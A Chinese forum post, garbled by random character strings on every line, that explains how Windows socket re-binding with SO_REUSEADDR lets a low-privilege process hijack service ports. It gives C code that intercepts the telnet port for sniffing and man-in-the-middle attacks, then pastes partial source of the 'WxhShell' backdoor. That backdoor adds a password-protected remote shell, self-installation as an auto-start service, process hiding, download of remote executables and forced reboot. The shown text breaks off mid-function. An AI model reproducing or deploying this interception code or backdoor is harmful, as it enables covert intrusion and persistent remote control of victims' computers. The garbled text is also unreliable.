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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j~Aq-8R=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;.A}c)b  
#X}HF$t{=  
  saddr.sin_family = AF_INET; sS>b}u+v#!  
%c }V/v_h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9r!8BjA  
%=`JWLLG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kJWg},-\  
Hc)z:x;Sj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {{?g%mQ6  
Xu]~vik  
  这意味着什么?意味着可以进行如下的攻击: HC%Hbc~S_Q  
.A2$C|a*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,@`?I6nKy  
Ttluh *  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g'(bk@<BP  
fE-R(9K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k6(7G@@}  
E(jZ Do  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  : uncOd.  
g^'h 4qOa  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +1ICX  
<+roY"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ->sxz/L  
*NmY]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $C4~v  
I\~[GsDY  
  #include B*(]T|ff<  
  #include 'NEl`v*<P  
  #include j/O~8o&  
  #include    i5VZ,E^E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )6OD@<r{  
  int main() 7n8nJTU{4j  
  { ^3;B4tj[  
  WORD wVersionRequested; -*C WF|<G  
  DWORD ret; {M]_]L{&7  
  WSADATA wsaData; ?b (iWq  
  BOOL val; x< A-Ws{^V  
  SOCKADDR_IN saddr; p}1i[//S  
  SOCKADDR_IN scaddr; p['RV  
  int err; l4bytI{63  
  SOCKET s; ig,.>'+l  
  SOCKET sc; o*cu-j3  
  int caddsize; d*@T30  
  HANDLE mt; qX\*l m/l  
  DWORD tid;   Fc~G*Gz~Z|  
  wVersionRequested = MAKEWORD( 2, 2 ); nf.Ox.kM)  
  err = WSAStartup( wVersionRequested, &wsaData ); Ipp_}tl_  
  if ( err != 0 ) { &."$kfA+  
  printf("error!WSAStartup failed!\n"); T+kV~ w{  
  return -1; fkA+:j~z_  
  } mq`/nAmt  
  saddr.sin_family = AF_INET; "4N&T#  
   1[%3kY-h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 smP4KC"I(d  
*_(X$qfoW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Nu5|tf9%A  
  saddr.sin_port = htons(23); %5o2I_Cjz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ez3fL&*  
  { {w@qFE'b  
  printf("error!socket failed!\n"); o`bch? ]  
  return -1; F-_u/C]  
  } 2|nm> 4  
  val = TRUE; :gVUk\)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V ao:9 ~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "-~ 7lY%  
  { +jm,nM9  
  printf("error!setsockopt failed!\n"); \TQZZ_Z  
  return -1; @-U\!Tf  
  } _D '(R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l/.{F;3F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5 \mRH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J<$@X JLS  
ARH~dN*C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) akj<*,  
  { ,;k+n)  
  ret=GetLastError(); osW"wh_  
  printf("error!bind failed!\n"); O)'CU1vMb  
  return -1; kK6O ZhLH  
  } E/;t6& 6  
  listen(s,2); ;tOs A #  
  while(1) aJu&h2 G  
  { 7sot?gF  
  caddsize = sizeof(scaddr); jLAEHEs  
  //接受连接请求 z0z@LA4k6@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Qb536RpcTY  
  if(sc!=INVALID_SOCKET) "Ep"$d  
  { iq#{*:1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >jm(2P(R   
  if(mt==NULL) afm\Iv[*  
  { LEb$Fd  
  printf("Thread Creat Failed!\n"); >)>f~>  
  break; YpZB-9Krf  
  } 1"h"(dA  
  } Jw)JV~/0  
  CloseHandle(mt); q m3\) 9C  
  } DI C*{aBf  
  closesocket(s); a<cwrDZ  
  WSACleanup(); 'VDWJTia  
  return 0; E~!$&9\  
  }   l_I)d7   
  DWORD WINAPI ClientThread(LPVOID lpParam) \J'}CX*aQ  
  { ,f }$FZ  
  SOCKET ss = (SOCKET)lpParam; R9XU7_3B  
  SOCKET sc; t{md&k4  
  unsigned char buf[4096]; TW|K.t@5#H  
  SOCKADDR_IN saddr; ^Q/*on;A,/  
  long num; [+ud7l  
  DWORD val; $8tk|uh  
  DWORD ret; (s};MdXIz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,AP&N'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qZ1'uln=C-  
  saddr.sin_family = AF_INET; x#1 Fi$.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c~ss^[qx|  
  saddr.sin_port = htons(23);  RD$:.   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zakhJ  
  { 2W AeSUX  
  printf("error!socket failed!\n"); ?qh-#,O9B  
  return -1; "{q#)N  
  } #{i*9'  
  val = 100; !_fDL6a-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WAu>p3   
  { Jf YgZ\#  
  ret = GetLastError(); Kz HYh  
  return -1; \8vP"Kr  
  } a4Q@sn;]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O1c%XwMn^  
  { !fOPYgAGKn  
  ret = GetLastError(); epy2}TI  
  return -1; DiFLat]X  
  } 9+ 'i(q z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Lqgrt]L_"  
  { -TUJ"ep]QJ  
  printf("error!socket connect failed!\n"); !KHgHKEW^  
  closesocket(sc); uibmQ|AQ  
  closesocket(ss); 'uL4ezTtA  
  return -1; F*72g)hVh  
  } HuhQ|~C+~  
  while(1) 3j7FG%\  
  { b8WtNVd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cu!%aM,/<-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <jh4P!\&j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MN?aPpr>  
  num = recv(ss,buf,4096,0); uwwR$ (\7  
  if(num>0) ;[<(4v$  
  send(sc,buf,num,0); =oAS(7o  
  else if(num==0) `YhGd?uu$  
  break; zv]ZEWVzc  
  num = recv(sc,buf,4096,0); A3]A5s6  
  if(num>0) <PLAAh8  
  send(ss,buf,num,0); zdN[Uc+1Bd  
  else if(num==0) b:==:d:0s  
  break; 65EMB%  
  } 0 QTI;3  
  closesocket(ss); YT(N][V  
  closesocket(sc); rT2Njy1  
  return 0 ; xo>0j#  
  } Ho &Q }<(  
=2\2Sp  
+O}Ik.w  
========================================================== F!+1w(b:  
Exb64n-_=  
下边附上一个代码,,WXhSHELL R%UTYRLUn  
0jTReY-W  
========================================================== #p}GWS)  
K[[~G1Z  
#include "stdafx.h" +,e#uuj$p  
4@9Pd &I  
#include <stdio.h> +x]/W|5  
#include <string.h> t3<MoDe7`r  
#include <windows.h> sz9W}&(j  
#include <winsock2.h> bzr2Zj{4  
#include <winsvc.h> O<S.fr,  
#include <urlmon.h> #&Hi0..y  
2B_|"J  
#pragma comment (lib, "Ws2_32.lib") !"^Zr]Qt+\  
#pragma comment (lib, "urlmon.lib") vJWBr:`L  
s9Hxiw@D  
#define MAX_USER   100 // 最大客户端连接数 y:'Ns$+  
#define BUF_SOCK   200 // sock buffer /7}pReUj  
#define KEY_BUFF   255 // 输入 buffer "i0>>@NR'  
CsZ~LQ=DB  
#define REBOOT     0   // 重启 sN41Bz$q.  
#define SHUTDOWN   1   // 关机 y4-kuMYR  
B;k'J:-"  
#define DEF_PORT   5000 // 监听端口 f-%M~:  
QjTSbHtH  
#define REG_LEN     16   // 注册表键长度 /U;j-m&   
#define SVC_LEN     80   // NT服务名长度 {JE [  
IkCuw./  
// 从dll定义API "6B@V=d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %8*:VR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PaCC UF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BA@E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); / VYT](  
"&6vFmr  
// wxhshell配置信息 ~ZKJ:&f  
struct WSCFG { eF+F"|1h  
  int ws_port;         // 监听端口 YBt=8`r  
  char ws_passstr[REG_LEN]; // 口令 64B.7S88  
  int ws_autoins;       // 安装标记, 1=yes 0=no <>HtXn/  
  char ws_regname[REG_LEN]; // 注册表键名 9c@M(U@Yh  
  char ws_svcname[REG_LEN]; // 服务名 w;'XqpP$*|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K_YrdA)6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9$)&b\D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ciS +.%7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $nt&'Xnv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {irc0gI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g89@>?Mn  
H^d?(Svh  
}; :-?ZU4)  
Tg{5%~L]   
// default Wxhshell configuration #/oH #/?  
struct WSCFG wscfg={DEF_PORT, {4g';  
    "xuhuanlingzhe", 3x~7N  
    1, Wga2).j6  
    "Wxhshell", x,gk]Cf  
    "Wxhshell", _dKMBcl)E  
            "WxhShell Service", ?%,LZw^[  
    "Wrsky Windows CmdShell Service", T5:Q_o]  
    "Please Input Your Password: ", |Y3w6!$  
  1, |=0vgwd"S  
  "http://www.wrsky.com/wxhshell.exe", 9pLe8D  
  "Wxhshell.exe" x Lan1V  
    }; ]0UYxv%]  
7_\G|Zd  
// 消息定义模块 NBk0P*SI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )Cy>'l*Og7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iT'doF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5} %R  
char *msg_ws_ext="\n\rExit."; #)'Iqaq7  
char *msg_ws_end="\n\rQuit."; )LGVR 3#  
char *msg_ws_boot="\n\rReboot..."; . 1kB8&}  
char *msg_ws_poff="\n\rShutdown..."; xJ>5 ol  
char *msg_ws_down="\n\rSave to "; D!.c??   
Y(UK:LZ'  
char *msg_ws_err="\n\rErr!"; ?t 'V5$k\  
char *msg_ws_ok="\n\rOK!"; Im6gWDdq@6  
o;@~uU  
char ExeFile[MAX_PATH]; pX &bX_F{  
int nUser = 0; (OiV IH  
HANDLE handles[MAX_USER]; CnZ!b_J  
int OsIsNt; uWJJ\  
[/a AH<9b  
SERVICE_STATUS       serviceStatus; TtkHMPlm_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;"M6}5dQ4  
~vXbh(MX  
// 函数声明 k A3K   
int Install(void); t oGiG|L  
int Uninstall(void); t4oD> =,92  
int DownloadFile(char *sURL, SOCKET wsh); rl}<&aPH  
int Boot(int flag); KKC%!Xy  
void HideProc(void); n.g-%4\q  
int GetOsVer(void); 8:0/Cj  
int Wxhshell(SOCKET wsl); f2e;N[D  
void TalkWithClient(void *cs); }uma<b  
int CmdShell(SOCKET sock); fXMY.X>f  
int StartFromService(void); F^GNOD3J  
int StartWxhshell(LPSTR lpCmdLine); $b`nV4p  
~dS15E4-Pp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bz/ba *  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7(}'jZ  
G2|jS@L#  
// 数据结构和表定义 r;{$x  
SERVICE_TABLE_ENTRY DispatchTable[] = O}i+ 1  
{ _eGYwBm  
{wscfg.ws_svcname, NTServiceMain}, Jg$<2CR&  
{NULL, NULL} LDQ,SS,  
}; FO*Gc Z  
}||u {[  
// 自我安装 ]hV!lG1_  
int Install(void) UOb` @#  
{ fg LY{  
  char svExeFile[MAX_PATH]; M P8Sd1_=  
  HKEY key; Hs)Cf)8u  
  strcpy(svExeFile,ExeFile); e,|gr"$/  
/3M8 ;>@u  
// 如果是win9x系统,修改注册表设为自启动 *H!BThft4  
if(!OsIsNt) { 'LMj.#A<g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rfk{$g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H=@KlSC ^  
  RegCloseKey(key); 3Y Mqp~4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sT;wHtU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); glLVT i  
  RegCloseKey(key); W{-g?)Tou  
  return 0; i.^ytbH  
    } Rq|6d M6H  
  } ) A:h  
} a <C?- g|  
else { JOuyEPy  
IL|Q-e}Ol  
// 如果是NT以上系统,安装为系统服务 Lf(( zk:pt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3RaW\cWzg  
if (schSCManager!=0) 1r=cCM  
{ A,F~*LXm  
  SC_HANDLE schService = CreateService qFWN._R  
  ( p q`uB  
  schSCManager, ,NQ!d4 ~D  
  wscfg.ws_svcname,  igo9~.  
  wscfg.ws_svcdisp, g ` s|]VNt  
  SERVICE_ALL_ACCESS, 0 h A:=r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =.z;:0]'n  
  SERVICE_AUTO_START, Wxj_DTi[1"  
  SERVICE_ERROR_NORMAL, q;,lv3I  
  svExeFile, bkd`7(r  
  NULL, u@dvFzc  
  NULL, d3:GmB .  
  NULL, ,!_6X9N-h  
  NULL, hdDT'+  
  NULL '4uu@?!dVk  
  ); i2Wvu3,D3-  
  if (schService!=0) b*Y Wd3  
  { @Fc:9a@  
  CloseServiceHandle(schService); .=;IdLO,Bf  
  CloseServiceHandle(schSCManager); %>$<s<y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Tc(=J7*r&  
  strcat(svExeFile,wscfg.ws_svcname); T3fQ #p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (ODwdN7;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P7F"#R0QB  
  RegCloseKey(key); }@q/.Ct! x  
  return 0; o6vnl  
    } k&ooV4#f6  
  } +51heuu[o  
  CloseServiceHandle(schSCManager); rnZ$Qk-H  
} a qEZhMy  
} fk ,Vry  
Wu 0:X*>}p  
return 1; _Gq6xv\b1  
} p XXf5adl<  
b7>'ARdbzX  
// 自我卸载 r>(,)rs(l  
int Uninstall(void) J'Pyn  
{ vS\2zwb}  
  HKEY key; *,JE[M  
o#p%IGG`  
if(!OsIsNt) { V~/G,3:0y%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yU!1q}L!  
  RegDeleteValue(key,wscfg.ws_regname); G$f%]A1  
  RegCloseKey(key); ^:-GPr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6C&&="uww  
  RegDeleteValue(key,wscfg.ws_regname); <kFLwF?PM'  
  RegCloseKey(key); 7}VqXUwabx  
  return 0; :m<&Ff}  
  } GCJ[xn(_  
} srf}+>u&  
} #B5,k|"/,M  
else { o{y}c->  
Wa|V~PL+T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xoo,}EY  
if (schSCManager!=0) K\2{SjL:B  
{ I Id4w~|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FL{?W(M  
  if (schService!=0) 5Rl\& G\  
  { f7a4E+}  
  if(DeleteService(schService)!=0) { gbuh04#~  
  CloseServiceHandle(schService); _94 W@dW  
  CloseServiceHandle(schSCManager); ??"_o3  
  return 0; qf(mJlU  
  } Ef#LRcG-Z  
  CloseServiceHandle(schService); d[_26.  
  } *U^Y@""a  
  CloseServiceHandle(schSCManager); j4owo#OB-  
} ,*iA38d.!  
} bq E'9GI  
D[yyFo,z  
return 1; ]$"eGHX  
} L"&T3i  
Z8 v8@Y  
// 从指定url下载文件 cR3d& /_,U  
int DownloadFile(char *sURL, SOCKET wsh) es*$/A  
{ Dylm=ZZa  
  HRESULT hr; F_*']:p  
char seps[]= "/"; W q<t+E[  
char *token; _4N.]jr5  
char *file; CI{2(.n4  
char myURL[MAX_PATH]; S-Y{Vi"2  
char myFILE[MAX_PATH]; P{9:XSa%  
#r9+thyC  
strcpy(myURL,sURL); <(KCiM=E$  
  token=strtok(myURL,seps); -iiX!@  
  while(token!=NULL) _uO$=4Sd  
  { ,m<YS MKX  
    file=token; 9InP2u\&:  
  token=strtok(NULL,seps); *Y(59J2  
  } Y]([K.I=  
1w=.vj<d8  
GetCurrentDirectory(MAX_PATH,myFILE); NVb}uH*i  
strcat(myFILE, "\\"); Y2DL%'K^  
strcat(myFILE, file); 8b?nr;@  
  send(wsh,myFILE,strlen(myFILE),0); x/O;8^b  
send(wsh,"...",3,0); SxY z)aF~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i]c{(gd`  
  if(hr==S_OK) W p)!G  
return 0; 'o IE:#b  
else zufphS|  
return 1; bX$z)]KKu  
WRD z*Zf  
} {c*$i^T  
@l CG)Ix<  
// 系统电源模块 2uEI@B  
int Boot(int flag) T!H(Y4A  
{ } [#8>T  
  HANDLE hToken; NIQ}A-b  
  TOKEN_PRIVILEGES tkp; Z^V;B _  
DKS1Sm6d0  
  if(OsIsNt) { z}Cjk6z@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @4;'>yr(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lBfthLBa  
    tkp.PrivilegeCount = 1; \na$Sb+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tKt}]KHV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]00s o`  
if(flag==REBOOT) { \$_02:#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "zcAYg^U  
  return 0; 6!]@ S|vDX  
} @_C]5D^J^~  
else {  [^ }$u[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?r !kKMZ  
  return 0; sa+ JN^[X  
} g!~SHW)l  
  } - jZAvb  
  else { =Q 9^|&6  
if(flag==REBOOT) { SPV+ O{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '^)'q\v'k  
  return 0; sc]#T)xG  
} qefp3&ls  
else { Gt*<Awn8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :z8/iD y  
  return 0; zh2<!MH  
} f$>_>E  
} \uTlwS  
c= t4 gf  
return 1; c6F?#@?   
} =u2~=t=LV  
|>(Vo@  
// win9x进程隐藏模块 Wq3PN^  
void HideProc(void) h^(U:M=A  
{ T)e2IXGN  
>l 0aME@-0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (/uN+   
  if ( hKernel != NULL ) H}r]j\  
  { h> bjG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &Z~_BT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d[?RL&hJO  
    FreeLibrary(hKernel); 4vL\t uoz  
  } O + aK#eF  
qVh?%c1.Y  
return; MX]#|hEeQ  
} 7D<Aa?cv_l  
"=Z=SJ1D  
// 获取操作系统版本 h~Ir= JV  
int GetOsVer(void) |$/#,Dv7  
{ g R!hN.I  
  OSVERSIONINFO winfo; F2zo !a8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oqvu8"  
  GetVersionEx(&winfo); 93n%:?l"<W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B-LV/WJ_  
  return 1; UhJS=YvT  
  else lai@,_<GV  
  return 0; eM!Oc$C8[  
} Ly(iq  
0dwD ?GG2  
// 客户端句柄模块 ^JxVs 7  
int Wxhshell(SOCKET wsl) 6/cm TT$i  
{ w(bvs&`{uC  
  SOCKET wsh; (tA[]ne2  
  struct sockaddr_in client; jkl dr@t  
  DWORD myID; _8$xsj4_  
A@~9r9Uf  
  while(nUser<MAX_USER) jk`U7 G*  
{ IsT}T}p,t  
  int nSize=sizeof(client); Uhvy 2}w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YN)qMI_ `A  
  if(wsh==INVALID_SOCKET) return 1; >0SG]er@  
9=}#.W3.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )Jvo%Y  
if(handles[nUser]==0) IgJG,!>h  
  closesocket(wsh); fUvXb>f,  
else kDJYEI9j>  
  nUser++; JQ ?8yl  
  } Pjq9BK9p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *As"U99(  
J,v024TM  
  return 0; b6;MTz*k>  
} ~Q"qz<WO  
E<LH-_$  
// 关闭 socket V?t*c [  
void CloseIt(SOCKET wsh) &u9,|n]O9  
{ ipu~T)}  
closesocket(wsh); A PSkW9H  
nUser--; ,&,XcbJ  
ExitThread(0); _H U>T  
} {6LS$3}VM  
!}|'1HIC  
// 客户端请求句柄 N\ <riS9  
void TalkWithClient(void *cs) }qGd*k0F0  
{ wy|b Hkr_  
i*l =xW;bM  
  SOCKET wsh=(SOCKET)cs; M`7lYw\Or!  
  char pwd[SVC_LEN]; @ebY_*  
  char cmd[KEY_BUFF]; N\s-{7K  
char chr[1]; k3LHLJZ#  
int i,j; YO.ddy*59  
Foj|1zJS_  
  while (nUser < MAX_USER) { maSVqG  
UH&1QV  
if(wscfg.ws_passstr) { kb$Yc)+R4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <bJ|WS|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "WY5Pzsi:  
  //ZeroMemory(pwd,KEY_BUFF); V9KRA 1  
      i=0; 9Pvv6WyKy  
  while(i<SVC_LEN) { [#aJ- Uu  
j<WsFVS  
  // 设置超时 Md9y:)P@Y  
  fd_set FdRead; b$Ei>%'/";  
  struct timeval TimeOut; y:zNf?6&  
  FD_ZERO(&FdRead); B!x6N"  
  FD_SET(wsh,&FdRead); BQ,749^S  
  TimeOut.tv_sec=8;  f^}n#  
  TimeOut.tv_usec=0; OGH,K'l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '4GN%xi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BC#`S&R  
:V6t5I'_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?;w`hA3ei  
  pwd=chr[0]; o=![+g  
  if(chr[0]==0xd || chr[0]==0xa) { #3>jgluM'  
  pwd=0;  ^0{t  
  break; Kl?C[  
  } WOgkv(5KN  
  i++; Nj?Q{ztS  
    } E i2M~/  
#$ka.Pj  
  // 如果是非法用户,关闭 socket sWTa;Qi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VeEa17g&  
} ,<7HLV  
\ %xku:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a$iDn_{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D0_CDdW%7  
=^zGn+@z  
while(1) { Fv(FRZ)  
b5~p:f-&4B  
  ZeroMemory(cmd,KEY_BUFF); i u0'[  
CZ^ ,bad  
      // 自动支持客户端 telnet标准   ]"O* &  
  j=0; ~md06"AYJ  
  while(j<KEY_BUFF) { h8k\~/iJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h0x'QiCc  
  cmd[j]=chr[0]; Jz0AYiCq  
  if(chr[0]==0xa || chr[0]==0xd) { _/ 5  
  cmd[j]=0; vEE\{1  
  break; < h|&7  
  } %"#ydOy  
  j++; {a2Gb  
    } 3*?W2;Zw$  
~USyN'5lU7  
  // 下载文件 S%?%06$  
  if(strstr(cmd,"http://")) { ?hrz@k|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }YiFiGf,  
  if(DownloadFile(cmd,wsh)) _9=cxwi<w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !u:;Ew  
  else '19?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tqs|2at<t  
  } J}bLp Z  
  else { s[7/w[&  
(B*,|D[J@i  
    switch(cmd[0]) { 44k8IYC*o  
  D2Q0p(#%  
  // 帮助 7uu\R=$  
  case '?': { SgN?[r)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vXM {)  
    break; 39 pA:3iTd  
  } Q7zpu/5?  
  // 安装 #<V5sgq S  
  case 'i': { d|gfp:Z`a  
    if(Install()) H4wDF:n0H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SpIiMu(  
    else |g !$TUS.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FLG{1dS  
    break; 0=9$k  
    } =RM]/O9  
  // 卸载 IQ$6}.  
  case 'r': { wZ`*C mr  
    if(Uninstall()) fC}uIci  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d&ff1(j(  
    else %n,_^voE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DHvZ:)aT}  
    break; A&jR-%JG  
    }  e?o/H  
  // 显示 wxhshell 所在路径 p&2d&;Qo0  
  case 'p': { Lv)1 )'v0  
    char svExeFile[MAX_PATH]; yYTOp^  
    strcpy(svExeFile,"\n\r"); +sq_fd ;'D  
      strcat(svExeFile,ExeFile); =<TJ[,h et  
        send(wsh,svExeFile,strlen(svExeFile),0); k O.iJcZg  
    break; f"4w@X2F  
    } m3(p7Z^Bq  
  // 重启 XrXW6s ;Z  
  case 'b': { |v#rSVx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~?iQnQYI  
    if(Boot(REBOOT)) SoFl]^l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [CAFh:o  
    else { xNRMI!yv   
    closesocket(wsh); `O%O[  
    ExitThread(0); L@?3E`4/v  
    } V1Gnr~GM  
